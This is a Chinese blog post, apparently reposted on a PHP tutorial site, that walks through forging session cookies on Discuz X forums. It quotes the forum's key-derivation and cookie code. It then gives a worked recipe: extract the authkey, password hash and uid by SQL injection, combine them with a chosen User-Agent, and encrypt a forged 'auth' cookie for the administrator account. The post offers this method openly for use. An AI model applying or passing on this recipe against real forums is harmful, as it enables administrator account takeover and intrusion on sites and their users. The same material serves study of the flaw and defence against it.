来源:自学PHP网 时间:2015-04-17 14:47 作者: 阅读:次
[导读] 前面发的是UCHOME:http://www.2cto.com/Article/201108/100740.html为免有装B的嫌疑,干脆DISCUZ论坛的SESSION劫持方法也一并公布了。转载请保留原始URL,谢谢.DISCUZ X系列论坛的session和UCHOME不同,生成...
前面发的是UCHOME:http://www.2cto.com/Article/201108/100740.html 为免有装B的嫌疑,干脆DISCUZ论坛的SESSION劫持方法也一并公布了。转载请保留原始URL,谢谢.
DISCUZ X系列论坛的session和UCHOME不同,生成session使用的authkey不是程序的UCKEY,看看DZ的代码就了解啦:
1.浏览器类型和$_config['security']['authkey']加起来生成了一个全局的authkey $this->var['authkey'] = md5($_config['security']['authkey'].$_SERVER['HTTP_USER_AGENT']);
2.authcode加密算法的密钥取的是全局的authkey $key = md5($key != '' ? $key : getglobal('authkey'));
3.生成的session原文是member表中的HASH和UID。 dsetcookie('auth', authcode("{$member['password']}\t{$member['uid']}", 'ENCODE'), $cookietime, 1, true);
4. 有了前面三点条件后,就可以伪造session了. 用SQL注入在pre_common_setting表中注出$_config['security']['authkey'],在pre_common_member表中注出password和uid. 先生成全局的authkey:$k = md5('b158e2zmrkmGVcP1'.'AAA'); 再取hash和uid组成seesion原文: $s = "326ed89bc5ca336bcb6f71545b537492"."\t"."1"; 最后使用authcode生成加密seesion:authcode($s,'ENCODE',$k);
5.绕过DISCUZ的安全验证。 浏览器类型的验证:浏览器类型是密钥中绑定的一部分,所以参照4需要将User-Agent设成AAA。
from:http://hi.baidu.com/rayh4c/blog/item/462a382a73a1e9225243c1f7.html |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com